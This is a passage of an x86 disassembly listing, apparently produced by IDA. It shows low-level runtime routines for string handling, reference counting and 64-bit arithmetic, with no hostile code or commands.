		mov	cl, [edx]
		inc	edx
		jmp	sub_4026B4
sub_402808	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402814	proc near		; CODE XREF: sub_405CFC+BBp
					; sub_406094+49p ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_402821
		not	ecx


loc_402821:				; CODE XREF: sub_402814+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_4026B4
sub_402814	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40282C:				; DATA XREF: sub_4047F6:loc_4049CDo
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_402837
		mov	ecx, [edx-4]
		shr	ecx, 1


loc_402837:				; CODE XREF: CODE:00402830j
		jmp	loc_402700
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402840	proc near		; CODE XREF: sub_401780+3Ep
					; sub_401780+56p ...
		test	eax, eax
		jz	short locret_402847
		mov	eax, [eax-4]

locret_402847:				; CODE XREF: sub_402840+2j
		retn
sub_402840	endp


; =============== S U B	R O U T	I N E =======================================



sub_402848	proc near		; CODE XREF: sub_40288C+1Dj
					; sub_40288C+6Ej ...
		test	edx, edx
		jz	short locret_40288B
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_40261C
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_402880
		call	sub_402BC0
		mov	eax, esi
		mov	ecx, [esi-4]


loc_402873:				; CODE XREF: sub_402848+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_401340
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402880:				; CODE XREF: sub_402848+1Fj
		call	sub_402BC0
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_402873
; ---------------------------------------------------------------------------

locret_40288B:				; CODE XREF: sub_402848+2j
		retn
sub_402848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40288C	proc near		; CODE XREF: CODE:00407C9Ep
		test	edx, edx
		jz	short loc_4028F1
		test	ecx, ecx
		jz	sub_40261C
		cmp	edx, [eax]
		jz	short loc_4028F8
		cmp	ecx, [eax]
		jz	short loc_4028AE
		push	eax
		push	ecx
		call	sub_40261C
		pop	edx
		pop	eax
		jmp	sub_402848
; ---------------------------------------------------------------------------


loc_4028AE:				; CODE XREF: sub_40288C+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_402688
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_401340
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_401340
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_4028E8
		dec	dword ptr [edi-8]


loc_4028E8:				; CODE XREF: sub_40288C+57j
		call	sub_40261C
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4028F1:				; CODE XREF: sub_40288C+2j
		mov	edx, ecx
		jmp	sub_40261C
; ---------------------------------------------------------------------------


loc_4028F8:				; CODE XREF: sub_40288C+Ej
		mov	edx, ecx
		jmp	sub_402848
sub_40288C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402900	proc near		; CODE XREF: sub_4064C4+27Bp
					; sub_4064C4+298p ...
		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_402917
		cmp	[eax], ecx
		jnz	short loc_402917
		mov	edi, eax


loc_402917:				; CODE XREF: sub_402900+Fj
					; sub_402900+13j
		xor	eax, eax


loc_402919:				; CODE XREF: sub_402900+2Bj
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_40292A
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_40292A
		xor	edi, edi


loc_40292A:				; CODE XREF: sub_402900+1Fj
					; sub_402900+26j
		dec	edx
		jnz	short loc_402919
		test	edi, edi
		jz	short loc_402945
		mov	edx, eax
		mov	eax, edi
		mov	esi, [edi]
		mov	esi, [esi-4]
		call	sub_402BC0
		push	edi
		add	esi, [edi]
		dec	ebx
		jmp	short loc_40294D
; ---------------------------------------------------------------------------


loc_402945:				; CODE XREF: sub_402900+2Fj
		call	sub_402688
		push	eax
		mov	esi, eax


loc_40294D:				; CODE XREF: sub_402900+43j
					; sub_402900+62j
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_402961
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_401340


loc_402961:				; CODE XREF: sub_402900+55j
		dec	ebx
		jnz	short loc_40294D
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_402976
		test	edx, edx
		jz	short loc_402971
		dec	dword ptr [edx-8]


loc_402971:				; CODE XREF: sub_402900+6Cj
		call	sub_40261C


loc_402976:				; CODE XREF: sub_402900+68j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_402900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402984	proc near		; CODE XREF: CODE:00407F53p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_402A22
		test	esi, esi
		jz	short loc_4029FF
		test	edi, edi
		jz	short loc_402A06
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_4029A7
		add	edx, eax


loc_4029A7:				; CODE XREF: sub_402984+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_4029D3


loc_4029AD:				; CODE XREF: sub_402984+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_402A0D
		dec	edx
		jz	short loc_4029CD
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_402A0D
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_4029AD
		jmp	short loc_4029D3
; ---------------------------------------------------------------------------


loc_4029CD:				; CODE XREF: sub_402984+32j
		add	esi, 4
		add	edi, 4


loc_4029D3:				; CODE XREF: sub_402984+27j
					; sub_402984+47j
		pop	edx
		and	edx, 3
		jz	short loc_4029FB
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_402A22
		dec	edx
		jz	short loc_4029FB
		cmp	ch, bh
		jnz	short loc_402A22
		dec	edx
		jz	short loc_4029FB
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_402A22


loc_4029FB:				; CODE XREF: sub_402984+53j
					; sub_402984+5Ej ...
		add	eax, eax
		jmp	short loc_402A22
; ---------------------------------------------------------------------------


loc_4029FF:				; CODE XREF: sub_402984+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_402A22
; ---------------------------------------------------------------------------


loc_402A06:				; CODE XREF: sub_402984+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_402A22
; ---------------------------------------------------------------------------


loc_402A0D:				; CODE XREF: sub_402984+2Fj
					; sub_402984+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_402A22
		cmp	ch, bh
		jnz	short loc_402A22
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_402A22
		cmp	ch, bh


loc_402A22:				; CODE XREF: sub_402984+9j
					; sub_402984+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402984	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A28	proc near		; CODE XREF: sub_406DAC+Fp
					; sub_406E6C+14p ...
		test	eax, eax
		jz	short locret_402A35
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_402A35
		inc	dword ptr [eax-8]

locret_402A35:				; CODE XREF: sub_402A28+2j
					; sub_402A28+8j
		retn
sub_402A28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A38	proc near		; CODE XREF: sub_401780+46p
					; sub_404420+15p ...
		test	eax, eax
		jz	short loc_402A3E
		retn
; ---------------------------------------------------------------------------
byte_402A3D	db 0			; DATA XREF: sub_402A38:loc_402A3Eo
; ---------------------------------------------------------------------------


loc_402A3E:				; CODE XREF: sub_402A38+2j
		mov	eax, offset byte_402A3D
		retn
sub_402A38	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A44	proc near		; CODE XREF: sub_402A84j sub_402A8Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_402A81
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_402A81
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_402688
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_401340
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_402A7E
		dec	dword ptr [eax-8]
		jnz	short loc_402A7E
		lea	eax, [eax-8]
		call	sub_401218


loc_402A7E:				; CODE XREF: sub_402A44+2Bj
					; sub_402A44+30j
		mov	edx, [ebx]
		pop	ebx


loc_402A81:				; CODE XREF: sub_402A44+4j
					; sub_402A44+Aj
		mov	eax, edx
		retn
sub_402A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A84	proc near		; CODE XREF: sub_402AD4+9p
		jmp	sub_402A44
sub_402A84	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A8C	proc near		; CODE XREF: sub_406DAC+34p
					; sub_406DAC+67p ...
		jmp	sub_402A44
sub_402A8C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A94	proc near		; CODE XREF: sub_4044E8+20p
					; sub_405474+E4p

arg_0		= dword	ptr  4

		push	ebx
		test	eax, eax
		jz	short loc_402AC6
		mov	ebx, [eax-4]
		test	ebx, ebx
		jz	short loc_402AC6
		dec	edx
		jl	short loc_402ABE
		cmp	edx, ebx
		jge	short loc_402AC6


loc_402AA7:				; CODE XREF: sub_402A94+2Cj
		sub	ebx, edx
		test	ecx, ecx
		jl	short loc_402AC6
		cmp	ecx, ebx
		jg	short loc_402AC2


loc_402AB1:				; CODE XREF: sub_402A94+30j
		add	edx, eax
		mov	eax, [esp+4+arg_0]
		call	sub_4026B4
		jmp	short loc_402ACF
; ---------------------------------------------------------------------------


loc_402ABE:				; CODE XREF: sub_402A94+Dj
		xor	edx, edx
		jmp	short loc_402AA7
; ---------------------------------------------------------------------------


loc_402AC2:				; CODE XREF: sub_402A94+1Bj
		mov	ecx, ebx
		jmp	short loc_402AB1
; ---------------------------------------------------------------------------


loc_402AC6:				; CODE XREF: sub_402A94+3j
					; sub_402A94+Aj ...
		mov	eax, [esp+4+arg_0]
		call	sub_4025C8


loc_402ACF:				; CODE XREF: sub_402A94+28j
		pop	ebx
		retn	4
sub_402A94	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402AD4	proc near		; CODE XREF: sub_407A14+54p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		call	sub_402A84
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_402B18
		mov	ecx, [edx-4]
		dec	esi
		jl	short loc_402B18
		cmp	esi, ecx
		jge	short loc_402B18
		test	edi, edi
		jle	short loc_402B18
		sub	ecx, esi
		cmp	edi, ecx
		jle	short loc_402AFE
		mov	edi, ecx


loc_402AFE:				; CODE XREF: sub_402AD4+26j
		sub	ecx, edi
		add	edx, esi
		lea	eax, [edi+edx]
		call	sub_401340
		mov	edx, [ebx]
		mov	eax, ebx
		mov	edx, [edx-4]
		sub	edx, edi
		call	sub_402BC0


loc_402B18:				; CODE XREF: sub_402AD4+12j
					; sub_402AD4+18j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402AD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B1C	proc near		; CODE XREF: sub_407A14+61p
		test	eax, eax
		jz	short locret_402B76
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	edx, [edx]
		push	edx
		test	edx, edx
		jz	short loc_402B34
		mov	edx, [edx-4]


loc_402B34:				; CODE XREF: sub_402B1C+13j
		dec	edi
		jge	short loc_402B39
		xor	edi, edi


loc_402B39:				; CODE XREF: sub_402B1C+19j
		cmp	edi, edx
		jle	short loc_402B3F
		mov	edi, edx


loc_402B3F:				; CODE XREF: sub_402B1C+1Fj
		mov	ebp, [ebx-4]
		mov	eax, esi
		add	edx, ebp
		call	sub_402BC0
		pop	eax
		cmp	eax, ebx
		jnz	short loc_402B52
		mov	ebx, [esi]


loc_402B52:				; CODE XREF: sub_402B1C+32j
		mov	eax, [esi]
		lea	edx, [edi+ebp]
		mov	ecx, [eax-4]
		sub	ecx, edx
		add	edx, eax
		add	eax, edi
		call	sub_401340
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, ebp
		add	edx, edi
		call	sub_401340
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx

locret_402B76:				; CODE XREF: sub_402B1C+2j
		retn
sub_402B1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B78	proc near		; CODE XREF: sub_407A14+3Ep
					; sub_407A14+6Cp
		test	eax, eax
		jz	short locret_402BBC
		test	edx, edx
		jz	short loc_402BB1
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	ecx, [edi-4]
		push	edi
		mov	edx, [esi-4]
		dec	edx
		js	short loc_402BAC
		mov	al, [esi]
		inc	esi
		sub	ecx, edx
		jle	short loc_402BAC


loc_402B98:				; CODE XREF: sub_402B78+32j
		repne scasb
		jnz	short loc_402BAC
		mov	ebx, ecx
		push	esi
		push	edi
		mov	ecx, edx
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_402BB4
		mov	ecx, ebx
		jmp	short loc_402B98
; ---------------------------------------------------------------------------


loc_402BAC:				; CODE XREF: sub_402B78+17j
					; sub_402B78+1Ej ...
		pop	edx
		xor	eax, eax
		jmp	short loc_402BB9
; ---------------------------------------------------------------------------


loc_402BB1:				; CODE XREF: sub_402B78+6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402BB4:				; CODE XREF: sub_402B78+2Ej
		pop	edx
		mov	eax, edi
		sub	eax, edx


loc_402BB9:				; CODE XREF: sub_402B78+37j
		pop	edi
		pop	esi
		pop	ebx

locret_402BBC:				; CODE XREF: sub_402B78+2j
		retn
sub_402B78	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402BC0	proc near		; CODE XREF: sub_4013A0+7Fp
					; CODE:0040275Dp ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_402C15
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_402BF6
		cmp	dword ptr [eax-8], 1
		jnz	short loc_402BF6
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_401230
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_402C1E
; ---------------------------------------------------------------------------


loc_402BF6:				; CODE XREF: sub_402BC0+11j
					; sub_402BC0+17j
		mov	eax, edx
		call	sub_402688
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_402C15
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_402C10
		mov	ecx, esi


loc_402C10:				; CODE XREF: sub_402BC0+4Cj
		call	sub_401340


loc_402C15:				; CODE XREF: sub_402BC0+Bj
					; sub_402BC0+43j
		mov	eax, ebx
		call	sub_4025C8
		mov	[ebx], edi


loc_402C1E:				; CODE XREF: sub_402BC0+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402BC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402C24	proc near		; CODE XREF: sub_406B98+158p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_402C38
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		call	sub_4011A0
		pop	eax

locret_402C38:				; CODE XREF: sub_402C24+4j
		retn
sub_402C24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402C3C	proc near		; CODE XREF: sub_401FB4+12p
					; sub_402C70+B1p
		xor	ecx, ecx
		push	ebx
		mov	cl, [edx+1]
		push	esi
		push	edi
		mov	ebx, eax
		lea	esi, [ecx+edx+0Ah]
		mov	edi, [ecx+edx+6]


loc_402C4E:				; CODE XREF: sub_402C3C+29j
		mov	edx, [esi]
		mov	eax, [esi+4]
		add	eax, ebx
		mov	edx, [edx]
		mov	ecx, 1
		call	sub_402C70
		add	esi, 8
		dec	edi
		jg	short loc_402C4E
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402C3C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402C70	proc near		; CODE XREF: sub_402C3C+20p
					; sub_402C70+9Bp ...
		cmp	ecx, 0
		jz	locret_402D5B
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	al, [esi]
		mov	dl, [esi+1]
		cmp	al, 0Ah
		jz	short loc_402CB3
		cmp	al, 0Bh
		jz	short loc_402CD0
		cmp	al, 0Ch
		jz	short loc_402CE9
		cmp	al, 0Dh
		jz	short loc_402CF8
		cmp	al, 0Eh
		jz	short loc_402D16
		cmp	al, 0Fh
		jz	loc_402D2C
		cmp	al, 11h
		jz	loc_402D3B
		jmp	loc_402D4C
; ---------------------------------------------------------------------------


loc_402CB3:				; CODE XREF: sub_402C70+1Cj
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_402CC4
		call	sub_4025C8
		jmp	loc_402D57
; ---------------------------------------------------------------------------


loc_402CC4:				; CODE XREF: sub_402C70+48j
		mov	edx, ecx
		call	sub_4025EC
		jmp	loc_402D57
; ---------------------------------------------------------------------------


loc_402CD0:				; CODE XREF: sub_402C70+20j
		cmp	ecx, 1
		mov	eax, ebx
		jg	short loc_402CDF
		call	ds:off_40902C
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402CDF:				; CODE XREF: sub_402C70+65j
		mov	edx, ecx
		call	ds:off_409030
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402CE9:				; CODE XREF: sub_402C70+24j
					; sub_402C70+84j
		mov	eax, ebx
		add	ebx, 10h
		call	sub_402DB0
		dec	edi
		jg	short loc_402CE9
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402CF8:				; CODE XREF: sub_402C70+28j
		push	ebp
		mov	ebp, edx


loc_402CFB:				; CODE XREF: sub_402C70+A1j
		mov	edx, [esi+ebp+0Ah]
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	ecx, [esi+ebp+6]
		mov	edx, [edx]
		call	sub_402C70
		dec	edi
		jg	short loc_402CFB
		pop	ebp
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402D16:				; CODE XREF: sub_402C70+2Cj
		push	ebp
		mov	ebp, edx


loc_402D19:				; CODE XREF: sub_402C70+B7j
		mov	eax, ebx
		add	ebx, [esi+ebp+2]
		mov	edx, esi
		call	sub_402C3C
		dec	edi
		jg	short loc_402D19
		pop	ebp
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402D2C:				; CODE XREF: sub_402C70+30j
					; sub_402C70+C7j
		mov	eax, ebx
		add	ebx, 4
		call	sub_403398
		dec	edi
		jg	short loc_402D2C
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402D3B:				; CODE XREF: sub_402C70+38j
					; sub_402C70+D8j
		mov	eax, ebx
		mov	edx, esi
		add	ebx, 4
		call	sub_402E80
		dec	edi
		jg	short loc_402D3B
		jmp	short loc_402D57
; ---------------------------------------------------------------------------


loc_402D4C:				; CODE XREF: sub_402C70+3Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		mov	al, 2
		jmp	loc_4012D8
; ---------------------------------------------------------------------------


loc_402D57:				; CODE XREF: sub_402C70+4Fj
					; sub_402C70+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	eax

locret_402D5B:				; CODE XREF: sub_402C70+3j
		retn
sub_402C70	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402D60	proc near		; CODE XREF: sub_402D68+Fp sub_402DA8j
					; DATA XREF: ...
		mov	al, 10h
		jmp	loc_4012D8
sub_402D60	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402D68	proc near		; CODE XREF: sub_402DA0j
					; DATA XREF: sub_402D80+14o ...
		mov	ax, [eax]
		sub	ax, 2
		jb	short locret_402D7C
		sub	ax, 8
		jz	short locret_402D7C
		call	sub_402D60

locret_402D7C:				; CODE XREF: sub_402D68+7j
					; sub_402D68+Dj
		retn
sub_402D68	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402D80	proc near		; CODE XREF: sub_403450+1Dp
		mov	edx, offset off_40A5DC
		xor	eax, eax


loc_402D87:				; CODE XREF: sub_402D80+12j
		mov	dword ptr [edx+eax*4], offset sub_402D60
		inc	eax
		cmp	eax, 2Bh
		jnz	short loc_402D87
		mov	eax, offset sub_402D68
		mov	ds:off_40A5DC, eax
		retn
sub_402D80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402DA0	proc near		; CODE XREF: sub_402DB0+1p
		jmp	ds:off_40A5DC
sub_402DA0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402DA8	proc near		; CODE XREF: sub_4046AC+Ap
		jmp	ds:off_40A608
sub_402DA8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402DB0	proc near		; CODE XREF: sub_402C70+7Ep
		push	eax
		call	sub_402DA0
		pop	eax
		retn
sub_402DB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DB8	proc near		; DATA XREF: sub_403450+13o
					; BSS:off_40A000o
		mov	al, 11h
		jmp	loc_4012D8
sub_402DB8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402DC0	proc near		; CODE XREF: sub_404520+43p
					; sub_404520+5Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_402DC0	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402DE4	proc near		; CODE XREF: sub_4048B9+38p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_402DFC
		or	edx, edx
		jz	short loc_402E27
		or	ebx, ebx
		jz	short loc_402E27


loc_402DFC:				; CODE XREF: sub_402DE4+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi


loc_402E07:				; CODE XREF: sub_402DE4:loc_402E1Ej
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_402E1E
		ja	short loc_402E19
		cmp	esi, ebx
		jb	short loc_402E1E


loc_402E19:				; CODE XREF: sub_402DE4+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_402E1E:				; CODE XREF: sub_402DE4+2Dj
					; sub_402DE4+33j
		loop	loc_402E07


loc_402E20:				; CODE XREF: sub_402DE4+47j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_402E27:				; CODE XREF: sub_402DE4+12j
					; sub_402DE4+16j
		div	ebx
		xor	edx, edx
		jmp	short loc_402E20
sub_402DE4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402E30	proc near		; CODE XREF: sub_4048B9+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esp+10h+arg_4]
		or	ecx, ecx
		jnz	short loc_402E48
		or	edx, edx
		jz	short loc_402E77
		or	ebx, ebx
		jz	short loc_402E77


loc_402E48:				; CODE XREF: sub_402E30+Ej
		mov	ebp, ecx
		mov	ecx, 40h
		xor	edi, edi
		xor	esi, esi


loc_402E53:				; CODE XREF: sub_402E30:loc_402E6Aj
		shl	eax, 1
		rcl	edx, 1
		rcl	esi, 1
		rcl	edi, 1
		cmp	edi, ebp
		jb	short loc_402E6A
		ja	short loc_402E65
		cmp	esi, ebx
		jb	short loc_402E6A


loc_402E65:				; CODE XREF: sub_402E30+2Fj
		sub	esi, ebx
		sbb	edi, ebp
		inc	eax


loc_402E6A:				; CODE XREF: sub_402E30+2Dj
					; sub_402E30+33j
		loop	loc_402E53
		mov	eax, esi
		mov	edx, edi


loc_402E70:				; CODE XREF: sub_402E30+4Cj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_402E77:				; CODE XREF: sub_402E30+12j
					; sub_402E30+16j
		div	ebx
		xchg	eax, edx
		xor	edx, edx
		jmp	short loc_402E70
sub_402E30	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402E80	proc near		; CODE XREF: sub_402C70+D2p
					; sub_406B98+85p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_402EB8
		mov	dword ptr [eax], 0
		dec	dword ptr [ecx-8]
		jnz	short locret_402EB8
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_402EAF
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_402EAF
		mov	edx, [edx]
		call	sub_402C70


loc_402EAF:				; CODE XREF: sub_402E80+1Fj
					; sub_402E80+26j
		sub	eax, 8
		call	sub_401218
		pop	eax

locret_402EB8:				; CODE XREF: sub_402E80+4j
					; sub_402E80+Fj
		retn
sub_402E80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402EBC	proc near		; CODE XREF: sub_402F04+1Bp

var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_402EF7
		push	105h
		lea	eax, [esp+114h+var_110]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_401088	; GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_4030F8
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_402EF7
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax


loc_402EF7:				; CODE XREF: sub_402EBC+Ej
					; sub_402EBC+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_402EBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402F04	proc near		; CODE XREF: sub_4033B0+2Bp
					; CODE:00405794p ...
		mov	edx, ds:off_409020
		test	edx, edx
		jz	short locret_402F2B


loc_402F0E:				; CODE XREF: sub_402F04+25j
		cmp	eax, [edx+4]
		jz	short loc_402F1D
		cmp	eax, [edx+8]
		jz	short loc_402F1D
		cmp	eax, [edx+0Ch]
		jnz	short loc_402F25


loc_402F1D:				; CODE XREF: sub_402F04+Dj
					; sub_402F04+12j
		mov	eax, edx
		call	sub_402EBC
		retn
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_402F04+17j
		mov	edx, [edx]
		test	edx, edx
		jnz	short loc_402F0E

locret_402F2B:				; CODE XREF: sub_402F04+8j
		retn
sub_402F04	endp


